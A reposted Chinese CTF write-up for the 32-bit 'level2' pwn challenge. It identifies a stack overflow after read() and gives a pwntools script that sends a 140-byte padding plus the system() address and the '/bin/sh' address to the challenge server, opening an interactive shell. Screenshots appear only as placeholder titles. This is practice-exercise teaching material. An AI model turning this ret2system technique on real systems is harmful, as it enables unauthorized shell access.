欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

level2--writeup

程序员文章站 2022-07-15 15:36:25
...

文件下载地址:

链接:https://pan.baidu.com/s/1jiR84G8Ji3luscmYTOOKAA
提取码:jz7n

0x01.分析

checksec:

level2--writeup

32位程序,开启NX。

源码:

level2--writeup

level2--writeup

发现系统调用了system,但是参数并不是/bin/sh,后面有read函数,存在栈溢出,继续寻找,看是否有bin/sh:

level2--writeup

果然存在。

level2--writeup

得到bin/sh的地址,最后只需确定一下偏移量:

由于这个程序不知道为什么再gdb里不能正常退出,可能是系统调用的原因,具体不是很清楚,不过我们可以手动计算出:

应该是0x80-0+4=140.(0是指举例esp长度,4是ebp的大小)。

level2--writeup

0x02.exp

##!/usr/bin/env python
from pwn import*
r=remote("111.198.29.45",47065)
#r=process('./level2')

system_adr=0x08048320
bin_sh_adr=0x0804A024
payload=140*'A'+p32(system_adr)+p32(0)+p32(bin_sh_adr)

r.recvuntil(":")
r.sendline(payload)
r.interactive()

level2--writeup

 

推荐阅读